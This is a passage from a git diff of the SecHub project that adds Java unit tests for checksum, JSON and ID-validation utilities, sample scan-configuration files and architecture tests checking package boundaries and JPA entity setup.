Assert.notEmpty((String)null, "message"); + } + + @Test + public void not_empty__with_null_collection_throws_illegal_argument() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + Assert.notEmpty((Collection)null, "message"); + } + + @Test + public void not_empty__with_empty_array_list_as_collection_throws_illegal_argument() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + Assert.notEmpty(new ArrayList<>(), "message"); + } + + @Test + public void not_empty__with_not_empty_array_list_as_collection_throws_illegal_argument() { + + /* execute */ + Assert.notEmpty(Arrays.asList("a value"), "message"); + } +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/FileChecksumSHA256ServiceTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/FileChecksumSHA256ServiceTest.java new file mode 100644 index 0000000000..bdff91faa7 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/FileChecksumSHA256ServiceTest.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.sharedkernel.SharedKernelTestFileSupport; + +public class FileChecksumSHA256ServiceTest { + + private FileChecksumSHA256Service serviceToTest; + + @Before + public void before() { + serviceToTest = new FileChecksumSHA256Service(); + } + + @Test + public void test_simple_sha256_calculation_works() throws Exception{ + /* prepare */ + SharedKernelTestFileSupport testfileSupport = SharedKernelTestFileSupport.getTestfileSupport(); + String absolutePath = testfileSupport.createFileFromResourcePath("zipfile_contains_only_test1.txt.zip").getAbsolutePath(); + + /* execute */ + String checksum = serviceToTest.createChecksum(absolutePath); + + /* test */ + assertEquals("59060b6b4e8d137596dc01ec15d5da1ab4c4ad0d756c780ed88225f082ae87b7",checksum); + assertEquals("59060b6b4e8d137596dc01ec15d5da1ab4c4ad0d756c780ed88225f082ae87b7",checksum); + } + + @Test + public void test_simple_sha256_check_works() throws Exception{ + /* prepare */ + SharedKernelTestFileSupport testfileSupport = SharedKernelTestFileSupport.getTestfileSupport(); + String absolutePath = testfileSupport.createFileFromResourcePath("zipfile_contains_only_test1.txt.zip").getAbsolutePath(); + + /* execute */ + assertTrue(serviceToTest.hasCorrectChecksum("59060b6b4e8d137596dc01ec15d5da1ab4c4ad0d756c780ed88225f082ae87b7", absolutePath)); + assertTrue(serviceToTest.hasCorrectChecksum("59060b6b4e8d137596dc01ec15d5da1ab4c4ad0d756c780ed88225f082ae87b7", absolutePath)); + assertFalse(serviceToTest.hasCorrectChecksum("19060b6b4e8d137596dc01ec15d5da1ab4c4ad0d756c780ed88225f082ae87b7", absolutePath)); + + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/JSONConverterTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/JSONConverterTest.java new file mode 100644 index 0000000000..0936786e09 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/JSONConverterTest.java @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +public class JSONConverterTest { + + private JSONConverter converterToTest; + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Before + public void before() { + converterToTest = new JSONConverter(); + } + + @Test + public void toJSON_test_object_returns_expected_json_string() throws Exception { + assertEquals("{\"info\":\"test1\"}", converterToTest.toJSON(new JSONConverterTestObject("test1"))); + } + + @Test + public void fromJSON_correct_json_with_double_quotes_results_in_expected_object() throws Exception { + /* prepare */ + String json = "{\"info\":\"test1\"}"; + /* execute */ + JSONConverterTestObject result = converterToTest.fromJSON(JSONConverterTestObject.class, json); + /* test */ + assertEquals("test1", result.getInfo()); + } + + @Test + public void fromJSON_correct_json_with_single_quotes_results_in_expected_object() throws Exception { + /* prepare */ + String json = "{'info':'info1'}"; + /* execute */ + JSONConverterTestObject result = converterToTest.fromJSON(JSONConverterTestObject.class, json); + + /* test */ + assertNotNull(result); + assertEquals("info1", result.getInfo()); + } + + @Test + public void fromJSON_when_string_null_throws_JSONConverterException() throws Exception { + /* prepare test */ + expected.expect(JSONConverterException.class); + /* execute */ + converterToTest.fromJSON(JSONConverterTestObject.class, null); + } + + @Test + public void fromJSON_comments_are_allowed() throws Exception { + /* prepare */ + String json = "//just a comment\\\n{\n//comments are a nice thing. \n/*not standard but used in *wildness* so we provide it*/\n'info':'info1'}"; + /* execute */ + JSONConverterTestObject result = converterToTest.fromJSON(JSONConverterTestObject.class, json); + + /* test */ + assertNotNull(result); + assertEquals("info1", result.getInfo()); + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/JSONConverterTestObject.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/JSONConverterTestObject.java new file mode 100644 index 0000000000..fc73ab4017 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/JSONConverterTestObject.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +public class JSONConverterTestObject { + String info; + + JSONConverterTestObject() { + + } + + JSONConverterTestObject(String info) { + this.info = info; + } + + public void setInfo(String info) { + this.info = info; + } + + public String getInfo() { + return info; + } +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/SimpleStringUtilsTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/SimpleStringUtilsTest.java new file mode 100644 index 0000000000..281e13f02f --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/SimpleStringUtilsTest.java @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import static org.hamcrest.CoreMatchers.*; +import static org.junit.Assert.*; + +import org.junit.Test; + +public class SimpleStringUtilsTest { + + @Test + public void null_equals_null_returns_true() { + assertThat(SimpleStringUtils.equals(null, null), is(true)); + } + + @Test + public void null_equals_not_empty_strings_returns_false() { + assertThat(SimpleStringUtils.equals(null, "string"), is(false)); + assertThat(SimpleStringUtils.equals(null, ""), is(false)); + assertThat(SimpleStringUtils.equals("",null), is(false)); + assertThat(SimpleStringUtils.equals("string",null), is(false)); + } + + @Test + public void string1_equals_string2_returns_false() { + assertThat(SimpleStringUtils.equals("string1", "string2"), is(false)); + } + + @Test + public void same_strings_equals_returns_true() { + assertThat(SimpleStringUtils.equals("string1", "string1"), is(true)); + assertThat(SimpleStringUtils.equals("", ""), is(true)); + } + + @Test + public void string1_is_part_of_string2_returns_false() { + assertThat(SimpleStringUtils.startsWith("string1", "string2"), is(false)); + assertThat(SimpleStringUtils.startsWith("string2", "string1"), is(false)); + } + + @Test + public void string1_is_part_of_string1a_returns_true() { + assertThat(SimpleStringUtils.startsWith("string1", "string1a"), is(true)); + } + @Test + public void string1a_is_part_of_string1_returns_false() { + assertThat(SimpleStringUtils.startsWith("string1a", "string1"), is(false)); + } + + @Test + public void string1_is_part_of_string1_returns_true() { + assertThat(SimpleStringUtils.startsWith("string1", "string1a"), is(true)); + } + + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/AbstractSimpleStringValidationTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/AbstractSimpleStringValidationTest.java new file mode 100644 index 0000000000..8ab767045f --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/AbstractSimpleStringValidationTest.java @@ -0,0 +1,193 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import static org.junit.Assert.*; + +import java.util.function.Consumer; + +import org.junit.Before; +import org.junit.Test; + +public class AbstractSimpleStringValidationTest { + + + private TestAbstractSimpleStringValidation validation; + + @Before + public void before() { + validation = new TestAbstractSimpleStringValidation(); + } + + @Test + public void has_same_length_when_trimmed_works() throws Exception { + + /* prepare */ + + + /* execute */ + /* test */ + assertTrue(aString("test").validatedBy(validation::validateSameLengthWhenTrimmed).isValid()); + assertTrue(aString("").validatedBy(validation::validateSameLengthWhenTrimmed).isValid()); + + assertFalse(aString(" test").validatedBy(validation::validateSameLengthWhenTrimmed).isValid()); + assertFalse(aString(" test ").validatedBy(validation::validateSameLengthWhenTrimmed).isValid()); + assertFalse(aString(" test ").validatedBy(validation::validateSameLengthWhenTrimmed).isValid()); + assertFalse(aString("test ").validatedBy(validation::validateSameLengthWhenTrimmed).isValid()); + + } + + + @Test + public void hasNoUpperCaseCharacters_works() throws Exception { + + /* prepare */ + + + /* execute */ + /* test */ + assertTrue(aString("scenario1_user1").validatedBy(validation::validateNoUpperCaseCharacters).isValid()); + assertFalse(aString("scenario1_User1").validatedBy(validation::validateNoUpperCaseCharacters).isValid()); + + } + + @Test + public void when_min_max_is_0_even_an_empty_string_is_valid_length() { + /* prepare */ + + validation.access.minLength = 0; + validation.access.maxLength = 0; + /* execute + test */ + assertTrue(aString("").validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_nothing_defined_an_empty_string_is_valid_length() { + /* prepare */ + + /* execute + test */ + assertTrue(aString("").validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_nothing_defined_a_null_string_is_valid() { + /* prepare */ + + /* execute + test */ + assertTrue(aString(null).validatedBy(validation::validateLength).isValid()); + } + @Test + public void when_min_is_1_a_null_string_is_not_valid() { + /* prepare */ + validation.access.minLength=1; + + /* execute + test */ + assertFalse(aString(null).validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_min_is_1_max_is_0_an_empty_string_is_NOT_valid() { + /* prepare */ + + validation.access.minLength = 1; + validation.access.maxLength = 0; + + /* execute + test */ + assertFalse(aString("").validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_min_is_3_max_is_5_an_string_ab_is_NOT_valid() { + /* prepare */ + + validation.access.minLength = 3; + validation.access.maxLength = 5; + + /* execute + test */ + assertFalse(aString("ab").validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_min_is_3_max_is_5_an_string_abcdef_is_NOT_valid() { + /* prepare */ + + validation.access.minLength = 3; + validation.access.maxLength = 5; + + /* execute + test */ + assertFalse(aString("abcdef").validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_min_is_3_max_is_5_an_string_abc_is_valid() { + /* prepare */ + + validation.access.minLength = 3; + validation.access.maxLength = 5; + + /* execute + test */ + assertTrue(aString("abc").validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_min_is_3_max_is_5_an_string_abcd_is_valid() { + /* prepare */ + + validation.access.minLength = 3; + validation.access.maxLength = 5; + + /* execute + test */ + assertTrue(aString("abcd").validatedBy(validation::validateLength).isValid()); + } + + @Test + public void when_min_is_0_max_is_1_an_empty_string_is_valid() { + /* prepare */ + + validation.access.minLength = 0; + validation.access.maxLength = 1; + + /* execute + test */ + assertTrue(aString("").validatedBy(validation::validateLength).isValid()); + } + private StringValidationTester aString(String string){ + return new StringValidationTester(string); + } + + private class StringValidationTester{ + + private ValidationContext context; + + public StringValidationTester(String target) { + context=new ValidationContext(target); + } + + public boolean isValid() { + return this.context.result.valid; + } + + public StringValidationTester validatedBy(Consumer> voidFunction) { + voidFunction.accept(context); + return this; + } + } + + public class TestAbstractSimpleStringValidation extends AbstractSimpleStringValidation { + + private ValidationConfig access; + + @Override + protected void setup(ValidationConfig config) { + /* + * we just mark the normally inaccessible config so accessible in testcase again + */ + this.access = config; + } + + @Override + protected void validate(ValidationContext context) { + // do nothing in test case - we test the parts standalone + + } + + } +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidationImplTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidationImplTest.java new file mode 100644 index 0000000000..9758e15c09 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidationImplTest.java @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import static org.junit.Assert.*; + +import java.util.function.Consumer; + +import org.junit.Test; + +public class ApiVersionValidationImplTest { + + @Test + public void api_1_0_defined_so_1_0_is_valid_but_not_2_0_or_3_0() { + ApiVersionValidationImpl validation = new ApiVersionValidationImpl(); + assertTrue(aString("1.0").validatedBy(validation::validateSupportedVersion).isValid()); + assertFalse(aString("2.0").validatedBy(validation::validateSupportedVersion).isValid()); + assertFalse(aString("3.0").validatedBy(validation::validateSupportedVersion).isValid()); + } + + @Test + public void api_1_0_and_2_0_defined_so_1_0_and_2_0_are_valid_but_not_3_0() { + ApiVersionValidationImpl validation = new ApiVersionValidationImpl(new String[] {"1.0","2.0"}); + assertTrue(aString("1.0").validatedBy(validation::validateSupportedVersion).isValid()); + assertTrue(aString("2.0").validatedBy(validation::validateSupportedVersion).isValid()); + assertFalse(aString("3.0").validatedBy(validation::validateSupportedVersion).isValid()); + } + private StringValidationTester aString(String string){ + return new StringValidationTester(string); + } + + private class StringValidationTester{ + + private ValidationContext context; + + public StringValidationTester(String target) { + context=new ValidationContext(target); + } + + public boolean isValid() { + return this.context.result.valid; + } + + public StringValidationTester validatedBy(Consumer> voidFunction) { + voidFunction.accept(context); + return this; + } + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidationImplTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidationImplTest.java new file mode 100644 index 0000000000..332c736fb0 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidationImplTest.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import static org.junit.Assert.*; + +import org.junit.Test; + +import com.daimler.sechub.sharedkernel.validation.ProjectIdValidationImpl; +import com.daimler.sechub.sharedkernel.validation.ValidationResult; + +public class ProjectIdValidationImplTest { + + private ProjectIdValidationImpl validationToTest = new ProjectIdValidationImpl(); + + @Test + public void lengthTest(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab"); + assertTrue("Project id not valid", projectIdValidationResult.isValid()); + } + + @Test + public void lengthTooShortTest(){ + ValidationResult projectIdValidationResult = validationToTest.validate("a"); + assertFalse("Project id is not too short.", projectIdValidationResult.isValid()); + } + @Test + public void ABCDIsNOTValidBecauseUppercaseCharactersNotAllowed(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ABCD"); + assertFalse("Project id is not okay, but should?!?", projectIdValidationResult.isValid()); + } + + @Test + public void abcdIsValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("abcd"); + assertTrue("Project id is not okay, but should?!?", projectIdValidationResult.isValid()); + } + + @Test + public void containsDotIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab.d"); + assertFalse("Project id dot forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } + + @Test + public void containsSlashIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab/d"); + assertFalse("Project id slash forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } + @Test + public void containsBackSlashIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab\\d"); + assertFalse("Project id backslash forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } + @Test + public void containsDollorIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab$d"); + assertFalse("Project id backslash forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } + @Test + public void containsPercentageIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab$d"); + assertFalse("Project id backslash forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } + @Test + public void containsQuestionMarkIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab?d"); + assertFalse("Project id backslash forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } + @Test + public void containsExlamationMarkIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("ab!d"); + assertFalse("Project id backslash forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } + @Test + public void containsColonIsNotValid(){ + ValidationResult projectIdValidationResult = validationToTest.validate("AB:D".toLowerCase()); + assertFalse("Project id backslash forbidden, but accepted?!?", projectIdValidationResult.isValid()); + } +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/UserIdValidationImplTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/UserIdValidationImplTest.java new file mode 100644 index 0000000000..1339a5ff31 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/validation/UserIdValidationImplTest.java @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class UserIdValidationImplTest { + + private UserIdValidationImpl userIdValidation = new UserIdValidationImpl(); + + @Test + public void lengthTest_5() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab"); + assertTrue("User id not valid", userIdValidationResult.isValid()); + } + + @Test + public void lengthTest_6() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxxab"); + assertTrue("User id not valid", userIdValidationResult.isValid()); + } + + @Test + public void lengthTest_1() { + ValidationResult userIdValidationResult = userIdValidation.validate("a"); + assertFalse("User id is not too short.", userIdValidationResult.isValid()); + } + + @Test + public void lengthTest_0() { + ValidationResult userIdValidationResult = userIdValidation.validate(""); + assertFalse("User id is not too short.", userIdValidationResult.isValid()); + } + + @Test + public void ABCDIsNOTValidBecauseUppercaseCharactersNotAllowed() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxxABCD"); + assertFalse("User id is not okay, but should?!?", userIdValidationResult.isValid()); + } + + @Test + public void xxxabcdIsValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxabcd"); + assertTrue("User id is not okay, but should?!?", userIdValidationResult.isValid()); + } + @Test + public void xx_abcdIsValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xx_abcd"); + assertTrue("User id is not okay, but should?!?", userIdValidationResult.isValid()); + } + + @Test + public void xx_hyphen_abcd_underscoreIsValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xx-abcd"); + assertTrue("User id is not okay, but should?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsDotIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab.d"); + assertFalse("User id dot forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsSlashIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab/d"); + assertFalse("User id slash forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsBackSlashIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab\\d"); + assertFalse("User id backslash forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsDollorIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab$d"); + assertFalse("User id backslash forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsPercentageIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab$d"); + assertFalse("User id backslash forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsQuestionMarkIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab?d"); + assertFalse("User id backslash forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsExlamationMarkIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("xxxab!d"); + assertFalse("User id backslash forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + + @Test + public void containsColonIsNotValid() { + ValidationResult userIdValidationResult = userIdValidation.validate("AB:D".toLowerCase()); + assertFalse("User id backslash forbidden, but accepted?!?", userIdValidationResult.isValid()); + } + +} diff --git a/sechub-shared-kernel/src/test/resources/.gitignore b/sechub-shared-kernel/src/test/resources/.gitignore new file mode 100644 index 0000000000..2dac1f917e --- /dev/null +++ b/sechub-shared-kernel/src/test/resources/.gitignore @@ -0,0 +1 @@ +!*.zip \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/resources/sechub_config0.json b/sechub-shared-kernel/src/test/resources/sechub_config0.json new file mode 100644 index 0000000000..2f097f5590 --- /dev/null +++ b/sechub-shared-kernel/src/test/resources/sechub_config0.json @@ -0,0 +1,4 @@ +{ + "apiVersion" : "1.0" + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/resources/sechub_config1.json b/sechub-shared-kernel/src/test/resources/sechub_config1.json new file mode 100644 index 0000000000..41b5460005 --- /dev/null +++ b/sechub-shared-kernel/src/test/resources/sechub_config1.json @@ -0,0 +1,9 @@ +{ + "apiVersion" : "1.0" , + + "webScan": { + "uris": ["https://fscan.intranet.example.org/"] + + } + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/resources/sechub_config2.json b/sechub-shared-kernel/src/test/resources/sechub_config2.json new file mode 100644 index 0000000000..50d5e1a0b7 --- /dev/null +++ b/sechub-shared-kernel/src/test/resources/sechub_config2.json @@ -0,0 +1,9 @@ +{ + "apiVersion" : "1.0" , + + "infraScan": { + "uris": ["https://fscan.intranet.example.org/"], + "ips": ["192.168.1.1","58.112.44.32"] + } + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/resources/sechub_config3.json b/sechub-shared-kernel/src/test/resources/sechub_config3.json new file mode 100644 index 0000000000..fa6e3d16f0 --- /dev/null +++ b/sechub-shared-kernel/src/test/resources/sechub_config3.json @@ -0,0 +1,13 @@ +{ + "apiVersion" : "1.0" , + + "webScan": { + "uris": ["https://fscan.intranet.example.org/"] + }, + + "infraScan": { + "uris": ["https://fscan.intranet.example.org/"], + "ips": ["192.168.1.1/24"] + } + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/resources/sechub_config4.json b/sechub-shared-kernel/src/test/resources/sechub_config4.json new file mode 100644 index 0000000000..9b5afe772c --- /dev/null +++ b/sechub-shared-kernel/src/test/resources/sechub_config4.json @@ -0,0 +1,10 @@ +{ + "apiVersion" : "1.0" , + + "codeScan": { + "fileSystem": { + "folders": ["src/main/java","src/main/resources"] + } + } + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/resources/zipfile_contains_only_test1.txt.zip b/sechub-shared-kernel/src/test/resources/zipfile_contains_only_test1.txt.zip new file mode 100644 index 0000000000..f617d9a44e Binary files /dev/null and b/sechub-shared-kernel/src/test/resources/zipfile_contains_only_test1.txt.zip differ diff --git a/sechub-test/README.md b/sechub-test/README.md new file mode 100644 index 0000000000..3294e15d9f --- /dev/null +++ b/sechub-test/README.md @@ -0,0 +1,7 @@ + +# About sechub-test project + +This project is an "overall test". +It will have dependencies to all packaged sub projects, but will never be part of packaging. + +Here tests are found which are done "overall" - for example packaging and domain separation is done in all sub projects correctly. \ No newline at end of file diff --git a/sechub-test/build.gradle b/sechub-test/build.gradle new file mode 100644 index 0000000000..1019fa6d7d --- /dev/null +++ b/sechub-test/build.gradle @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +dependencies { + compile project(':sechub-server') + compile project(':sechub-testframework') + compile project(':sechub-doc') // here we got the dependency to Reflections lib.. +} diff --git a/sechub-test/src/test/java/com/daimler/sechub/test/PackageStructureTest.java b/sechub-test/src/test/java/com/daimler/sechub/test/PackageStructureTest.java new file mode 100644 index 0000000000..24bc78f2af --- /dev/null +++ b/sechub-test/src/test/java/com/daimler/sechub/test/PackageStructureTest.java @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import static org.junit.Assert.*; + +import java.io.File; +import java.util.List; + +import org.junit.Test; + +import com.daimler.sechub.test.DomainAccessSourceVisitor.DomainProblem; + +/** + * This test case checks that domain communication is only done from packages inside a domain but never between domains directly! + * @author Albert Tregnaghi + * + */ +public class PackageStructureTest { + + @Test + public void test_no_java_file_exists_where_package_with_com_daimler_secub_domain__imports_from_another_domain() { + SimpleFileBasedPackageScanner scanner = new SimpleFileBasedPackageScanner(); + + TestFileSupport support = new TestFileSupport(null); + File root = support.getRootFolder(); + DomainAccessSourceVisitor visitor = new DomainAccessSourceVisitor(); +// scanner.setVerbose(true); + scanner.visit(root, visitor); + + List problems = visitor.getProblems(); + if (problems.isEmpty()) { + throw new IllegalStateException("testcase corrupt, did not found even expected test problem!"); + } + StringBuilder sb = new StringBuilder(); + for (DomainProblem problem: problems) { + if (problem.getFile().getName().endsWith("TestScanDomainUsesOtherDomain.java")) { + /* this is test case file to check problem is identified - we ignore this */ + continue; + } + sb.append(problem.getFile()+"\n"+problem.getProblem()); + sb.append("\n\n"); + } + if (sb.length()==0) { + /* okay, only test problem found */ + return; + } + fail("Found problems:\n"+sb.toString()); + } +} diff --git a/sechub-test/src/test/java/com/daimler/sechub/test/PersistenceImplementationHealthTest.java b/sechub-test/src/test/java/com/daimler/sechub/test/PersistenceImplementationHealthTest.java new file mode 100644 index 0000000000..9fcbe0627d --- /dev/null +++ b/sechub-test/src/test/java/com/daimler/sechub/test/PersistenceImplementationHealthTest.java @@ -0,0 +1,120 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import static org.junit.Assert.*; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import javax.persistence.Entity; +import javax.persistence.Version; + +import org.junit.BeforeClass; +import org.junit.Test; +import org.reflections.Reflections; + +import com.daimler.sechub.docgen.util.ReflectionsFactory; + +public class PersistenceImplementationHealthTest { + private static Reflections reflections; + private static Set> entityClasses; + + @BeforeClass + public static void beforeClass() { + reflections = ReflectionsFactory.create(); // reuse setup from sechub-doc + entityClasses = reflections.getTypesAnnotatedWith(Entity.class); + + } + @Test + public void ensure_JPAEntities_haveOptimisticLockingImplemented() { + StringBuilder sbCorrect = new StringBuilder(); + sbCorrect.append("\nCorrect implemented entities are:"); + List problems = new ArrayList<>(); + for (Class entityClass : entityClasses) { + if (entityClass.isAnonymousClass()) { + /* anonymous classes are ignored - cannot be real hibernate parts... so only test parts*/ + continue; + } + boolean foundVersionField = false; + for (Field m : entityClass.getDeclaredFields()) { + foundVersionField = m.isAnnotationPresent(Version.class); + if (foundVersionField) { + break; + } + } + if (!foundVersionField) { + problems.add(entityClass.getName()+" has no field with @Version - so no optimistic locking"); + }else { + sbCorrect.append("\n- entity:"+entityClass.getSimpleName()+" ok"); + } + } + System.out.println(sbCorrect); + + if (problems.isEmpty()) { + return; + } + StringBuilder sb = new StringBuilder(); + sb.append("Found following entities which does not have hashCode() and/or equals(..) implemented:\n"); + for (String r: problems) { + sb.append(" - "); + sb.append(r.toString()); + sb.append("\n"); + } + sb.append(sbCorrect); + fail(sb.toString()); + } + + @Test + public void ensure_JPAEntities_haveEqualsAndHashCodeImplemented() { + List problems = new ArrayList<>(); + for (Class entityClass : entityClasses) { + if (entityClass.isAnonymousClass()) { + /* anonymous classes are ignored - cannot be real hibernate parts... so only test parts*/ + continue; + } + Result r = new Result(); + r.clazz = entityClass; + for (Method m : entityClass.getDeclaredMethods()) { + if (r.allFound()) { + break; + } + if (m.getName().equals("equals") && m.getReturnType().isPrimitive() && m.getParameterCount()==1 && m.getParameterTypes()[0].equals(Object.class)) { + r.equalsOverriden=true; + }else if (m.getName().equals("hashCode") && m.getReturnType().isPrimitive() && m.getParameterCount()==0) { + r.hashCodeOverridden=true; + } + } + if (!r.allFound()) { + problems.add(r); + } + } + if (problems.isEmpty()) { + return; + } + StringBuilder sb = new StringBuilder(); + sb.append("Found following entities which does not have hashCode() and/or equals(..) implemented:\n"); + for (Result r: problems) { + sb.append(" - "); + sb.append(r.toString()); + sb.append("\n"); + } + fail(sb.toString()); + } + + private class Result{ + public Class clazz; + private boolean equalsOverriden; + private boolean hashCodeOverridden; + public boolean allFound() { + return equalsOverriden && hashCodeOverridden; + } + @Override + public String toString() { + return clazz.getName()+", equals overriden:"+equalsOverriden+", hashCode overriden:"+hashCodeOverridden; + } + } + +} diff --git a/sechub-testframework/README.md b/sechub-testframework/README.md new file mode 100644 index 0000000000..b843cbcf36 --- /dev/null +++ b/sechub-testframework/README.md @@ -0,0 +1,6 @@ + +README +====== +This project is a simple test framework - it has no dependencies except to mockito and junit! +But to provide the same mockito/junit dependencies as in other java projects (which are spring boot projects) +we have defined it as a spring boot project in setup.gradle as well. \ No newline at end of file diff --git a/sechub-testframework/build.gradle b/sechub-testframework/build.gradle new file mode 100644 index 0000000000..d63755889d --- /dev/null +++ b/sechub-testframework/build.gradle @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + compile(library.springboot_starter_test) // we need it at compile time +} + diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/DefaultEnvironmentEntryProvider.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/DefaultEnvironmentEntryProvider.java new file mode 100644 index 0000000000..5cc7a46905 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/DefaultEnvironmentEntryProvider.java @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +public class DefaultEnvironmentEntryProvider implements EnvironmentEntryProvider { + + @Override + public String getEnvEntry(String name) { + return System.getenv(name); + } + +} diff --git 